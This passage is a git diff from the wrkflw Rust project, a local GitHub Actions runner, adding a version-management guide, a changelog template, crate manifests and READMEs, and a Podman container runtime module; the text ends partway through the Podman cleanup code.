+The wrkflw project uses a Cargo workspace with flexible version management that supports:
+- **Workspace-wide versioning**: All crates share the same version
+- **Individual crate versioning**: Specific crates can have their own versions
+- **Automatic dependency management**: Internal dependencies are managed through workspace inheritance
+
+## Current Setup
+
+### Workspace Dependencies
+All internal crate dependencies are defined in the root `Cargo.toml` under `[workspace.dependencies]`:
+
+```toml
+[workspace.dependencies]
+# Internal crate dependencies
+wrkflw-models = { path = "crates/models", version = "0.7.2" }
+wrkflw-evaluator = { path = "crates/evaluator", version = "0.7.2" }
+# ... other crates
+```
+
+### Crate Dependencies
+Individual crates reference internal dependencies using workspace inheritance:
+
+```toml
+[dependencies]
+# Internal crates
+wrkflw-models.workspace = true
+wrkflw-validators.workspace = true
+```
+
+This approach means:
+- ✅ No hard-coded versions in individual crates
+- ✅ Single source of truth for internal crate versions
+- ✅ Easy individual crate versioning without manual updates everywhere
+
+## Version Management Strategies
+
+### Strategy 1: Workspace-Wide Versioning (Recommended for most cases)
+
+Use this when changes affect multiple crates or for major releases.
+
+```bash
+# Bump all crates to the same version
+cargo ws version patch  # 0.7.2 → 0.7.3
+cargo ws version minor  # 0.7.2 → 0.8.0
+cargo ws version major  # 0.7.2 → 1.0.0
+
+# Or specify exact version
+cargo ws version 1.0.0
+
+# Commit and tag
+git add .
+git commit -m "chore: bump workspace version to $(grep '^version' Cargo.toml | head -1 | sed 's/.*= *"\([^"]*\)".*/\1/')"
+git tag v$(grep '^version' Cargo.toml | head -1 | sed 's/.*= *"\([^"]*\)".*/\1/')
+git push origin main --tags
+```
+
+### Strategy 2: Individual Crate Versioning
+
+Use this when changes are isolated to specific crates.
+
+#### Using the Helper Script
+
+```bash
+# Bump a specific crate
+./scripts/bump-crate.sh wrkflw-models patch    # 0.7.2 → 0.7.3
+./scripts/bump-crate.sh wrkflw-models minor    # 0.7.2 → 0.8.0
+./scripts/bump-crate.sh wrkflw-models 0.8.5    # Specific version
+
+# The script will:
+# 1. Update the crate's Cargo.toml to use explicit version
+# 2. Update workspace dependencies
+# 3. Show you next steps
+```
+
+#### Manual Individual Versioning
+
+If you prefer manual control:
+
+1. **Update the crate's Cargo.toml**:
+   ```toml
+   # Change from:
+   version.workspace = true
+   # To:
+   version = "0.7.3"
+   ```
+
+2. **Update workspace dependencies**:
+   ```toml
+   [workspace.dependencies]
+   wrkflw-models = { path = "crates/models", version = "0.7.3" }
+   ```
+
+3. **Test and commit**:
+   ```bash
+   cargo check
+   git add .
+   git commit -m "bump: wrkflw-models to 0.7.3"
+   git tag v0.7.3-wrkflw-models
+   git push origin main --tags
+   ```
+
+## Release Workflows
+
+### Full Workspace Release
+
+```bash
+# 1. Make your changes
+# 2. Bump version
+cargo ws version patch --no-git-commit
+
+# 3. Commit and tag
+git add .
+git commit -m "chore: release version $(grep '^version' Cargo.toml | head -1 | sed 's/.*= *"\([^"]*\)".*/\1/')"
+git tag v$(grep '^version' Cargo.toml | head -1 | sed 's/.*= *"\([^"]*\)".*/\1/')
+
+# 4. Push (this triggers GitHub Actions)
+git push origin main --tags
+```
+
+### Individual Crate Release
+
+```bash
+# 1. Use helper script or manual method above
+./scripts/bump-crate.sh wrkflw-models patch
+
+# 2. Follow the script's suggestions
+git add .
+git commit -m "bump: wrkflw-models to X.Y.Z"
+git tag vX.Y.Z-wrkflw-models
+git push origin main --tags
+
+# 3. Optionally publish to crates.io
+cd crates/models
+cargo publish
+```
+
+## Publishing to crates.io
+
+### Publishing Individual Crates
+
+```bash
+# Navigate to the crate
+cd crates/models
+
+# Ensure all dependencies are published first
+# (or available on crates.io)
+cargo publish --dry-run
+
+# Publish
+cargo publish
+```
+
+### Publishing All Crates
+
+```bash
+# Use cargo-workspaces
+cargo ws publish --from-git
+```
+
+## Integration with GitHub Actions
+
+The existing `.github/workflows/release.yml` works with both strategies:
+
+- **Tag format `v1.2.3`**: Triggers full workspace release
+- **Tag format `v1.2.3-crate-name`**: Could be used for individual crate releases (needs workflow modification)
+
+### Modifying for Individual Crate Releases
+
+To support individual crate releases, you could modify the workflow to:
+
+```yaml
+on:
+  push:
+    tags:
+      - 'v*'           # Full releases: v1.2.3
+      - 'v*-wrkflw-*'  # Individual releases: v1.2.3-wrkflw-models
+```
+
+## Best Practices
+
+### When to Use Each Strategy
+
+**Use Workspace-Wide Versioning when:**
+- Making breaking changes across multiple crates
+- Major feature releases
+- Initial development phases
+- Simpler release management is preferred
+
+**Use Individual Crate Versioning when:**
+- Changes are isolated to specific functionality
+- Different crates have different stability levels
+- You want to minimize dependency updates for users
+- Publishing to crates.io with different release cadences
+
+### Version Numbering
+
+Follow [Semantic Versioning](https://semver.org/):
+
+- **Patch (0.7.2 → 0.7.3)**: Bug fixes, internal improvements
+- **Minor (0.7.2 → 0.8.0)**: New features, backward compatible
+- **Major (0.7.2 → 1.0.0)**: Breaking changes
+
+### Dependency Management
+
+- Keep internal dependencies using workspace inheritance
+- Only specify explicit versions when a crate diverges from workspace version
+- Always test with `cargo check` and `cargo test` before releasing
+- Use `cargo tree` to verify dependency resolution
+
+## Troubleshooting
+
+### Common Issues
+
+**Issue**: Cargo complains about version mismatches
+```bash
+# Solution: Check workspace dependencies match crate versions
+grep -r "version.*=" crates/*/Cargo.toml
+grep "wrkflw-.*version" Cargo.toml
+```
+
+**Issue**: Published crate can't find dependencies
+```bash
+# Solution: Ensure all dependencies are published to crates.io first
+# Or use path dependencies only for local development
+```
+
+**Issue**: GitHub Actions fails on tag
+```bash
+# Solution: Ensure tag format matches workflow trigger
+git tag -d v1.2.3  # Delete local tag
+git push origin :refs/tags/v1.2.3  # Delete remote tag
+git tag v1.2.3  # Recreate with correct format
+git push origin v1.2.3
+```
+
+## Tools and Commands
+
+### Useful Commands
+
+```bash
+# List all workspace members with versions
+cargo ws list
+
+# Check all crates
+cargo check --workspace
+
+# Test all crates
+cargo test --workspace
+
+# Show dependency tree
+cargo tree
+
+# Show outdated dependencies
+cargo outdated
+
+# Verify publishability
+cargo publish --dry-run --manifest-path crates/models/Cargo.toml
+```
+
+### Recommended Tools
+
+- `cargo-workspaces`: Workspace management
+- `cargo-outdated`: Check for outdated dependencies  
+- `cargo-audit`: Security audit
+- `cargo-machete`: Find unused dependencies
+
+## Migration Notes
+
+If you're migrating from the old hard-coded version system:
+
+1. All internal crate versions are now managed in workspace `Cargo.toml`
+2. Individual crates use `crate-name.workspace = true` for internal dependencies
+3. Use the helper script or manual process above for individual versioning
+4. The system is fully backward compatible with existing workflows

cliff.toml

@@ -8,18 +8,54 @@ All notable changes to wrkflw will be documented in this file.
 
 # Template for the changelog body
 body = """
-{% if version %}
-## [{{ version | trim_start_matches(pat="v") }}] - {{ timestamp | date(format="%Y-%m-%d") }}
-{% else %}
-## [unreleased]
-{% endif %}
+{%- macro remote_url() -%}
+  https://github.com/bahdotsh/wrkflw
+{%- endmacro -%}
+
+{% macro print_commit(commit) -%}
+    - {% if commit.scope %}*({{ commit.scope }})* {% endif %}\
+        {% if commit.breaking %}[**breaking**] {% endif %}\
+        {{ commit.message | upper_first }} - \
+        ([{{ commit.id | truncate(length=7, end="") }}]({{ self::remote_url() }}/commit/{{ commit.id }}))\
+{% endmacro -%}
+
+{% if version %}\
+    {% if previous.version %}\
+        ## [{{ version | trim_start_matches(pat="v") }}]\
+          ({{ self::remote_url() }}/compare/{{ previous.version }}..{{ version }}) - {{ timestamp | date(format="%Y-%m-%d") }}
+    {% else %}\
+        ## [{{ version | trim_start_matches(pat="v") }}] - {{ timestamp | date(format="%Y-%m-%d") }}
+    {% endif %}\
+{% else %}\
+    ## [unreleased]
+{% endif %}\
 
 {% for group, commits in commits | group_by(attribute="group") %}
-### {{ group | upper_first }}
-{% for commit in commits %}
-- {% if commit.breaking %}**BREAKING:** {% endif %}{{ commit.message | upper_first }} ([{{ commit.id | truncate(length=7, end="") }}]({{ commit.id | github_link }})){% if commit.links %} ({% for link in commit.links %}[{{ link.text }}]({{ link.href }}){% if not loop.last %}, {% endif %}{% endfor %}){% endif %}
-{% endfor %}
-{% endfor %}
+    ### {{ group | striptags | trim | upper_first }}
+    {% for commit in commits
+    | filter(attribute="scope")
+    | sort(attribute="scope") %}
+        {{ self::print_commit(commit=commit) }}
+    {%- endfor %}
+    {% for commit in commits %}
+        {%- if not commit.scope -%}
+            {{ self::print_commit(commit=commit) }}
+        {% endif -%}
+    {% endfor -%}
+{% endfor -%}
+{%- if github -%}
+{% if github.contributors | filter(attribute="is_first_time", value=true) | length != 0 %}
+  ## New Contributors ❤️
+{% endif %}\
+{% for contributor in github.contributors | filter(attribute="is_first_time", value=true) %}
+  * @{{ contributor.username }} made their first contribution
+    {%- if contributor.pr_number %} in \
+      [#{{ contributor.pr_number }}]({{ self::remote_url() }}/pull/{{ contributor.pr_number }}) \
+    {%- endif %}
+{%- endfor -%}
+{%- endif %}
+
+
 """
 
 # Remove the leading and trailing whitespace from the template
@@ -35,19 +71,29 @@ footer = """
 conventional_commits = true
 filter_unconventional = true
 commit_parsers = [
-  { message = "^feat", group = "Features" },
-  { message = "^fix", group = "Bug Fixes" },
-  { message = "^docs", group = "Documentation" },
-  { message = "^style", group = "Styling" },
-  { message = "^refactor", group = "Refactor" },
-  { message = "^perf", group = "Performance" },
-  { message = "^test", group = "Testing" },
-  { message = "^chore\\(deps\\)", skip = true },
-  { message = "^chore\\(release\\)", skip = true },
-  { message = "^chore", group = "Miscellaneous Tasks" },
-  { body = ".*security", group = "Security" },
+  { message = "^feat", group = "<!-- 0 -->⛰️  Features" },
+  { message = "^fix", group = "<!-- 1 -->🐛 Bug Fixes" },
+  { message = "^doc", group = "<!-- 3 -->📚 Documentation" },
+  { message = "^perf", group = "<!-- 4 -->⚡ Performance" },
+  { message = "^refactor\\(clippy\\)", skip = true },
+  { message = "^refactor", group = "<!-- 2 -->🚜 Refactor" },
+  { message = "^style", group = "<!-- 5 -->🎨 Styling" },
+  { message = "^test", group = "<!-- 6 -->🧪 Testing" },
+  { message = "^chore\\(release\\): prepare for", skip = true },
+  { message = "^chore\\(deps.*\\)", skip = true },
+  { message = "^chore\\(pr\\)", skip = true },
+  { message = "^chore\\(pull\\)", skip = true },
+  { message = "^chore\\(npm\\).*yarn\\.lock", skip = true },
+  { message = "^chore|^ci", group = "<!-- 7 -->⚙️ Miscellaneous Tasks" },
+  { body = ".*security", group = "<!-- 8 -->🛡️ Security" },
+  { message = "^revert", group = "<!-- 9 -->◀️ Revert" },
 ]
 
+# Define the GitHub repository URL for commit links
+[git.link]
+# Format: https://github.com/USER/REPO/commit/{}
+commit_link = "https://github.com/bahdotsh/wrkflw/commit/{}"
+
 # Format of the git commit link
 link_parsers = [
   { pattern = "#(\\d+)", href = "https://github.com/bahdotsh/wrkflw/issues/$1" },

crates/README.md

@@ -0,0 +1,97 @@
+# Wrkflw Crates
+
+This directory contains the Rust crates that make up the Wrkflw project. The project has been restructured to use a workspace-based approach with individual crates for better modularity and maintainability.
+
+## Crate Structure
+
+- **wrkflw**: Main binary crate and entry point for the application
+- **models**: Data models and structures used throughout the application
+- **evaluator**: Workflow evaluation functionality
+- **executor**: Workflow execution engine
+- **github**: GitHub API integration
+- **gitlab**: GitLab API integration
+- **logging**: Logging functionality
+- **matrix**: Matrix-based parallelization support
+- **parser**: Workflow parsing functionality
+- **runtime**: Runtime execution environment
+- **ui**: User interface components
+- **utils**: Utility functions
+- **validators**: Validation functionality
+
+## Dependencies
+
+Each crate has its own `Cargo.toml` file that defines its dependencies. The root `Cargo.toml` file defines the workspace and shared dependencies.
+
+## Build Instructions
+
+To build the entire project:
+
+```bash
+cargo build
+```
+
+To build a specific crate:
+
+```bash
+cargo build -p <crate-name>
+```
+
+## Testing
+
+To run tests for the entire project:
+
+```bash
+cargo test
+```
+
+To run tests for a specific crate:
+
+```bash
+cargo test -p <crate-name>
+```
+
+## Rust Best Practices
+
+When contributing to wrkflw, please follow these Rust best practices:
+
+### Code Organization
+
+- Place modules in their respective crates to maintain separation of concerns
+- Use `pub` selectively to expose only the necessary APIs
+- Follow the Rust module system conventions (use `mod` and `pub mod` appropriately)
+
+### Errors and Error Handling
+
+- Prefer using the `thiserror` crate for defining custom error types
+- Use the `?` operator for error propagation instead of match statements when appropriate
+- Implement custom error types that provide context for the error
+- Avoid using `.unwrap()` and `.expect()` in production code
+
+### Performance
+
+- Profile code before optimizing using tools like `cargo flamegraph`
+- Use `Arc` and `Mutex` judiciously for shared mutable state
+- Leverage Rust's zero-cost abstractions (iterators, closures)
+- Consider adding benchmark tests using the `criterion` crate for performance-critical code
+
+### Security
+
+- Validate all input, especially from external sources
+- Avoid using `unsafe` code unless absolutely necessary
+- Handle secrets securely using environment variables
+- Check for integer overflows with `checked_` operations
+
+### Testing
+
+- Write unit tests for all public functions
+- Use integration tests to verify crate-to-crate interactions
+- Consider property-based testing for complex logic
+- Structure tests with clear preparation, execution, and verification phases
+
+### Tooling
+
+- Run `cargo clippy` before committing changes to catch common mistakes
+- Use `cargo fmt` to maintain consistent code formatting
+- Enable compiler warnings with `#![warn(clippy::all)]`
+
+For more detailed guidance, refer to the project's best practices documentation. 

crates/evaluator/Cargo.toml

@@ -0,0 +1,20 @@
+[package]
+name = "wrkflw-evaluator"
+version = "0.7.3"
+edition.workspace = true
+description = "Workflow evaluation functionality for wrkflw execution engine"
+license.workspace = true
+documentation.workspace = true
+homepage.workspace = true
+repository.workspace = true
+keywords.workspace = true
+categories.workspace = true
+
+[dependencies]
+# Internal crates
+wrkflw-models.workspace = true
+wrkflw-validators.workspace = true
+
+# External dependencies
+colored.workspace = true
+serde_yaml.workspace = true

crates/evaluator/README.md

@@ -0,0 +1,29 @@
+## wrkflw-evaluator
+
+Small, focused helper for statically evaluating GitHub Actions workflow files.
+
+- **Purpose**: Fast structural checks (e.g., `name`, `on`, `jobs`) before deeper validation/execution
+- **Used by**: `wrkflw` CLI and TUI during validation flows
+
+### Example
+
+```rust
+use std::path::Path;
+
+let result = wrkflw_evaluator::evaluate_workflow_file(
+    Path::new(".github/workflows/ci.yml"),
+    /* verbose */ true,
+).expect("evaluation failed");
+
+if result.is_valid {
+    println!("Workflow looks structurally sound");
+} else {
+    for issue in result.issues {
+        println!("- {}", issue);
+    }
+}
+```
+
+### Notes
+- This crate focuses on structural checks; deeper rules live in `wrkflw-validators`.
+- Most consumers should prefer the top-level `wrkflw` CLI for end-to-end UX.

crates/evaluator/src/lib.rs

@@ -3,8 +3,8 @@ use serde_yaml::{self, Value};
 use std::fs;
 use std::path::Path;
 
-use crate::models::ValidationResult;
-use crate::validators::{validate_jobs, validate_triggers};
+use wrkflw_models::ValidationResult;
+use wrkflw_validators::{validate_jobs, validate_triggers};
 
 pub fn evaluate_workflow_file(path: &Path, verbose: bool) -> Result<ValidationResult, String> {
     let content = fs::read_to_string(path).map_err(|e| format!("Failed to read file: {}", e))?;
@@ -21,10 +21,9 @@ pub fn evaluate_workflow_file(path: &Path, verbose: bool) -> Result<ValidationRe
         return Ok(result);
     }
 
-    // Check if name exists
-    if workflow.get("name").is_none() {
-        result.add_issue("Workflow is missing a name".to_string());
-    }
+    // Note: The 'name' field is optional per GitHub Actions specification.
+    // When omitted, GitHub displays the workflow file path relative to the repository root.
+    // We do not validate name presence as it's not required by the schema.
 
     // Check if jobs section exists
     match workflow.get("jobs") {

crates/executor/Cargo.toml

@@ -0,0 +1,42 @@
+[package]
+name = "wrkflw-executor"
+version = "0.7.3"
+edition.workspace = true
+description = "Workflow execution engine for wrkflw"
+license.workspace = true
+documentation.workspace = true
+homepage.workspace = true
+repository.workspace = true
+keywords.workspace = true
+categories.workspace = true
+
+[dependencies]
+# Internal crates
+wrkflw-models.workspace = true
+wrkflw-parser.workspace = true
+wrkflw-runtime.workspace = true
+wrkflw-logging.workspace = true
+wrkflw-matrix.workspace = true
+wrkflw-secrets.workspace = true
+wrkflw-utils.workspace = true
+
+# External dependencies
+async-trait.workspace = true
+bollard.workspace = true
+chrono.workspace = true
+dirs.workspace = true
+futures.workspace = true
+futures-util.workspace = true
+ignore = "0.4"
+lazy_static.workspace = true
+num_cpus.workspace = true
+once_cell.workspace = true
+regex.workspace = true
+serde.workspace = true
+serde_json.workspace = true
+serde_yaml.workspace = true
+tar.workspace = true
+tempfile.workspace = true
+thiserror.workspace = true
+tokio.workspace = true
+uuid.workspace = true

crates/executor/README.md

@@ -0,0 +1,29 @@
+## wrkflw-executor
+
+The execution engine that runs GitHub Actions workflows locally (Docker, Podman, or emulation).
+
+- **Features**:
+  - Job graph execution with `needs` ordering and parallelism
+  - Docker/Podman container steps and emulation mode
+  - Basic environment/context wiring compatible with Actions
+- **Used by**: `wrkflw` CLI and TUI
+
+### API sketch
+
+```rust
+use wrkflw_executor::{execute_workflow, ExecutionConfig, RuntimeType};
+
+let cfg = ExecutionConfig {
+    runtime: RuntimeType::Docker,
+    verbose: true,
+    preserve_containers_on_failure: false,
+};
+
+// Path to a workflow YAML
+let workflow_path = std::path::Path::new(".github/workflows/ci.yml");
+
+let result = execute_workflow(workflow_path, cfg).await?;
+println!("workflow status: {:?}", result.summary_status);
+```
+
+Prefer using the `wrkflw` binary for a complete UX across validation, execution, and logs.

crates/executor/src/dependency.rs

@@ -1,5 +1,5 @@
-use crate::parser::workflow::WorkflowDefinition;
 use std::collections::{HashMap, HashSet};
+use wrkflw_parser::workflow::WorkflowDefinition;
 
 pub fn resolve_dependencies(workflow: &WorkflowDefinition) -> Result<Vec<Vec<String>>, String> {
     let jobs = &workflow.jobs;

crates/executor/src/docker_test.rs

@@ -11,9 +11,15 @@ use crate::{
 mod docker_cleanup_tests {
     use super::*;
 
+    // Helper function to check if Docker tests should be skipped
+    fn should_skip_docker_tests() -> bool {
+        std::env::var("WRKFLW_TEST_SKIP_DOCKER").is_ok() || 
+        !docker::is_available()
+    }
+
     /// Helper function to create a Docker container that should be tracked
     async fn create_test_container(docker_client: &Docker) -> Option<String> {
-        if !docker::is_available() {
+        if should_skip_docker_tests() {
             return None;
         }
 
@@ -53,7 +59,7 @@ mod docker_cleanup_tests {
 
     /// Helper function to create a Docker network that should be tracked
     async fn create_test_network(docker_client: &Docker) -> Option<String> {
-        if !docker::is_available() {
+        if should_skip_docker_tests() {
             return None;
         }
 
@@ -66,8 +72,8 @@ mod docker_cleanup_tests {
 
     #[tokio::test]
     async fn test_docker_container_cleanup() {
-        if !docker::is_available() {
-            println!("Docker not available, skipping test");
+        if should_skip_docker_tests() {
+            println!("Docker tests disabled or Docker not available, skipping test");
             return;
         }
 
@@ -107,8 +113,8 @@ mod docker_cleanup_tests {
 
     #[tokio::test]
     async fn test_docker_network_cleanup() {
-        if !docker::is_available() {
-            println!("Docker not available, skipping test");
+        if should_skip_docker_tests() {
+            println!("Docker tests disabled or Docker not available, skipping test");
             return;
         }
 
@@ -148,8 +154,8 @@ mod docker_cleanup_tests {
 
     #[tokio::test]
     async fn test_full_resource_cleanup() {
-        if !docker::is_available() {
-            println!("Docker not available, skipping test");
+        if should_skip_docker_tests() {
+            println!("Docker tests disabled or Docker not available, skipping test");
             return;
         }
 

crates/executor/src/environment.rs

@@ -1,8 +1,8 @@
-use crate::matrix::MatrixCombination;
-use crate::parser::workflow::WorkflowDefinition;
 use chrono::Utc;
 use serde_yaml::Value;
 use std::{collections::HashMap, fs, io, path::Path};
+use wrkflw_matrix::MatrixCombination;
+use wrkflw_parser::workflow::WorkflowDefinition;
 
 pub fn setup_github_environment_files(workspace_dir: &Path) -> io::Result<()> {
     // Create necessary directories

crates/executor/src/lib.rs

@@ -1,11 +1,16 @@
+// executor crate
+
 #![allow(unused_variables, unused_assignments)]
 
 pub mod dependency;
 pub mod docker;
 pub mod engine;
 pub mod environment;
+pub mod podman;
 pub mod substitution;
 
 // Re-export public items
 pub use docker::cleanup_resources;
-pub use engine::{execute_workflow, JobResult, JobStatus, RuntimeType, StepResult, StepStatus};
+pub use engine::{
+    execute_workflow, ExecutionConfig, JobResult, JobStatus, RuntimeType, StepResult, StepStatus,
+};

crates/executor/src/podman.rs

@@ -0,0 +1,877 @@
+use async_trait::async_trait;
+use once_cell::sync::Lazy;
+use std::collections::HashMap;
+use std::path::Path;
+use std::process::Stdio;
+use std::sync::Mutex;
+use tempfile;
+use tokio::process::Command;
+use wrkflw_logging;
+use wrkflw_runtime::container::{ContainerError, ContainerOutput, ContainerRuntime};
+use wrkflw_utils;
+use wrkflw_utils::fd;
+
+static RUNNING_CONTAINERS: Lazy<Mutex<Vec<String>>> = Lazy::new(|| Mutex::new(Vec::new()));
+// Map to track customized images for a job
+#[allow(dead_code)]
+static CUSTOMIZED_IMAGES: Lazy<Mutex<HashMap<String, String>>> =
+    Lazy::new(|| Mutex::new(HashMap::new()));
+
+pub struct PodmanRuntime {
+    preserve_containers_on_failure: bool,
+}
+
+impl PodmanRuntime {
+    pub fn new() -> Result<Self, ContainerError> {
+        Self::new_with_config(false)
+    }
+
+    pub fn new_with_config(preserve_containers_on_failure: bool) -> Result<Self, ContainerError> {
+        // Check if podman command is available
+        if !is_available() {
+            return Err(ContainerError::ContainerStart(
+                "Podman is not available on this system".to_string(),
+            ));
+        }
+
+        Ok(PodmanRuntime {
+            preserve_containers_on_failure,
+        })
+    }
+
+    // Add a method to store and retrieve customized images (e.g., with Python installed)
+    #[allow(dead_code)]
+    pub fn get_customized_image(base_image: &str, customization: &str) -> Option<String> {
+        let key = format!("{}:{}", base_image, customization);
+        match CUSTOMIZED_IMAGES.lock() {
+            Ok(images) => images.get(&key).cloned(),
+            Err(e) => {
+                wrkflw_logging::error(&format!("Failed to acquire lock: {}", e));
+                None
+            }
+        }
+    }
+
+    #[allow(dead_code)]
+    pub fn set_customized_image(base_image: &str, customization: &str, new_image: &str) {
+        let key = format!("{}:{}", base_image, customization);
+        if let Err(e) = CUSTOMIZED_IMAGES.lock().map(|mut images| {
+            images.insert(key, new_image.to_string());
+        }) {
+            wrkflw_logging::error(&format!("Failed to acquire lock: {}", e));
+        }
+    }
+
+    /// Find a customized image key by prefix
+    #[allow(dead_code)]
+    pub fn find_customized_image_key(image: &str, prefix: &str) -> Option<String> {
+        let image_keys = match CUSTOMIZED_IMAGES.lock() {
+            Ok(keys) => keys,
+            Err(e) => {
+                wrkflw_logging::error(&format!("Failed to acquire lock: {}", e));
+                return None;
+            }
+        };
+
+        // Look for any key that starts with the prefix
+        for (key, _) in image_keys.iter() {
+            if key.starts_with(prefix) {
+                return Some(key.clone());
+            }
+        }
+
+        None
+    }
+
+    /// Get a customized image with language-specific dependencies
+    pub fn get_language_specific_image(
+        base_image: &str,
+        language: &str,
+        version: Option<&str>,
+    ) -> Option<String> {
+        let key = match (language, version) {
+            ("python", Some(ver)) => format!("python:{}", ver),
+            ("node", Some(ver)) => format!("node:{}", ver),
+            ("java", Some(ver)) => format!("eclipse-temurin:{}", ver),
+            ("go", Some(ver)) => format!("golang:{}", ver),
+            ("dotnet", Some(ver)) => format!("mcr.microsoft.com/dotnet/sdk:{}", ver),
+            ("rust", Some(ver)) => format!("rust:{}", ver),
+            (lang, Some(ver)) => format!("{}:{}", lang, ver),
+            (lang, None) => lang.to_string(),
+        };
+
+        match CUSTOMIZED_IMAGES.lock() {
+            Ok(images) => images.get(&key).cloned(),
+            Err(e) => {
+                wrkflw_logging::error(&format!("Failed to acquire lock: {}", e));
+                None
+            }
+        }
+    }
+
+    /// Set a customized image with language-specific dependencies
+    pub fn set_language_specific_image(
+        base_image: &str,
+        language: &str,
+        version: Option<&str>,
+        new_image: &str,
+    ) {
+        let key = match (language, version) {
+            ("python", Some(ver)) => format!("python:{}", ver),
+            ("node", Some(ver)) => format!("node:{}", ver),
+            ("java", Some(ver)) => format!("eclipse-temurin:{}", ver),
+            ("go", Some(ver)) => format!("golang:{}", ver),
+            ("dotnet", Some(ver)) => format!("mcr.microsoft.com/dotnet/sdk:{}", ver),
+            ("rust", Some(ver)) => format!("rust:{}", ver),
+            (lang, Some(ver)) => format!("{}:{}", lang, ver),
+            (lang, None) => lang.to_string(),
+        };
+
+        if let Err(e) = CUSTOMIZED_IMAGES.lock().map(|mut images| {
+            images.insert(key, new_image.to_string());
+        }) {
+            wrkflw_logging::error(&format!("Failed to acquire lock: {}", e));
+        }
+    }
+
+    /// Execute a podman command with proper error handling and timeout
+    async fn execute_podman_command(
+        &self,
+        args: &[&str],
+        input: Option<&str>,
+    ) -> Result<ContainerOutput, ContainerError> {
+        let timeout_duration = std::time::Duration::from_secs(360); // 6 minutes timeout
+
+        let result = tokio::time::timeout(timeout_duration, async {
+            let mut cmd = Command::new("podman");
+            cmd.args(args);
+
+            if input.is_some() {
+                cmd.stdin(Stdio::piped());
+            }
+            cmd.stdout(Stdio::piped()).stderr(Stdio::piped());
+
+            wrkflw_logging::debug(&format!(
+                "Running Podman command: podman {}",
+                args.join(" ")
+            ));
+
+            let mut child = cmd.spawn().map_err(|e| {
+                ContainerError::ContainerStart(format!("Failed to spawn podman command: {}", e))
+            })?;
+
+            // Send input if provided
+            if let Some(input_data) = input {
+                if let Some(stdin) = child.stdin.take() {
+                    use tokio::io::AsyncWriteExt;
+                    let mut stdin = stdin;
+                    stdin.write_all(input_data.as_bytes()).await.map_err(|e| {
+                        ContainerError::ContainerExecution(format!(
+                            "Failed to write to stdin: {}",
+                            e
+                        ))
+                    })?;
+                    stdin.shutdown().await.map_err(|e| {
+                        ContainerError::ContainerExecution(format!("Failed to close stdin: {}", e))
+                    })?;
+                }
+            }
+
+            let output = child.wait_with_output().await.map_err(|e| {
+                ContainerError::ContainerExecution(format!("Podman command failed: {}", e))
+            })?;
+
+            Ok(ContainerOutput {
+                stdout: String::from_utf8_lossy(&output.stdout).to_string(),
+                stderr: String::from_utf8_lossy(&output.stderr).to_string(),
+                exit_code: output.status.code().unwrap_or(-1),
+            })
+        })
+        .await;
+
+        match result {
+            Ok(output) => output,
+            Err(_) => {
+                wrkflw_logging::error("Podman operation timed out after 360 seconds");
+                Err(ContainerError::ContainerExecution(
+                    "Operation timed out".to_string(),
+                ))
+            }
+        }
+    }
+}
+
+pub fn is_available() -> bool {
+    // Use a very short timeout for the entire availability check
+    let overall_timeout = std::time::Duration::from_secs(3);
+
+    // Spawn a thread with the timeout to prevent blocking the main thread
+    let handle = std::thread::spawn(move || {
+        // Use safe FD redirection utility to suppress Podman error messages
+        match fd::with_stderr_to_null(|| {
+            // First, check if podman CLI is available as a quick test
+            if cfg!(target_os = "linux") || cfg!(target_os = "macos") {
+                // Try a simple podman version command with a short timeout
+                let process = std::process::Command::new("podman")
+                    .arg("version")
+                    .arg("--format")
+                    .arg("{{.Version}}")
+                    .stdout(std::process::Stdio::null())
+                    .stderr(std::process::Stdio::null())
+                    .spawn();
+
+                match process {
+                    Ok(mut child) => {
+                        // Set a very short timeout for the process
+                        let status = std::thread::scope(|_| {
+                            // Try to wait for a short time
+                            for _ in 0..10 {
+                                match child.try_wait() {
+                                    Ok(Some(status)) => return status.success(),
+                                    Ok(None) => {
+                                        std::thread::sleep(std::time::Duration::from_millis(100))
+                                    }
+                                    Err(_) => return false,
+                                }
+                            }
+                            // Kill it if it takes too long
+                            let _ = child.kill();
+                            false
+                        });
+
+                        if !status {
+                            return false;
+                        }
+                    }
+                    Err(_) => {
+                        wrkflw_logging::debug("Podman CLI is not available");
+                        return false;
+                    }
+                }
+            }
+
+            // Try to run a simple podman command to check if the daemon is responsive
+            let runtime = match tokio::runtime::Builder::new_current_thread()
+                .enable_all()
+                .build()
+            {
+                Ok(rt) => rt,
+                Err(e) => {
+                    wrkflw_logging::error(&format!(
+                        "Failed to create runtime for Podman availability check: {}",
+                        e
+                    ));
+                    return false;
+                }
+            };
+
+            runtime.block_on(async {
+                match tokio::time::timeout(std::time::Duration::from_secs(2), async {
+                    let mut cmd = Command::new("podman");
+                    cmd.args(["info", "--format", "{{.Host.Hostname}}"]);
+                    cmd.stdout(Stdio::null()).stderr(Stdio::null());
+
+                    match tokio::time::timeout(std::time::Duration::from_secs(1), cmd.output())
+                        .await
+                    {
+                        Ok(Ok(output)) => {
+                            if output.status.success() {
+                                true
+                            } else {
+                                wrkflw_logging::debug("Podman info command failed");
+                                false
+                            }
+                        }
+                        Ok(Err(e)) => {
+                            wrkflw_logging::debug(&format!("Podman info command error: {}", e));
+                            false
+                        }
+                        Err(_) => {
+                            wrkflw_logging::debug("Podman info command timed out after 1 second");
+                            false
+                        }
+                    }
+                })
+                .await
+                {
+                    Ok(result) => result,
+                    Err(_) => {
+                        wrkflw_logging::debug("Podman availability check timed out");
+                        false
+                    }
+                }
+            })
+        }) {
+            Ok(result) => result,
+            Err(_) => {
+                wrkflw_logging::debug(
+                    "Failed to redirect stderr when checking Podman availability",
+                );
+                false
+            }
+        }
+    });
+
+    // Manual implementation of join with timeout
+    let start = std::time::Instant::now();
+
+    while start.elapsed() < overall_timeout {
+        if handle.is_finished() {
+            return match handle.join() {
+                Ok(result) => result,
+                Err(_) => {
+                    wrkflw_logging::warning("Podman availability check thread panicked");
+                    false
+                }
+            };
+        }
+        std::thread::sleep(std::time::Duration::from_millis(50));
+    }
+
+    wrkflw_logging::warning(
+        "Podman availability check timed out, assuming Podman is not available",
+    );
+    false
+}
+
+// Add container to tracking
+pub fn track_container(id: &str) {
+    if let Ok(mut containers) = RUNNING_CONTAINERS.lock() {
+        containers.push(id.to_string());
+    }
+}
+
+// Remove container from tracking
+pub fn untrack_container(id: &str) {
+    if let Ok(mut containers) = RUNNING_CONTAINERS.lock() {
+        containers.retain(|c| c != id);
+    }
+}
+
+// Clean up all tracked resources
+pub async fn cleanup_resources() {
+    // Use a global timeout for the entire cleanup process
+    let cleanup_timeout = std::time::Duration::from_secs(5);
+
+    match tokio::time::timeout(cleanup_timeout, cleanup_containers()).await {
+        Ok(result) => {
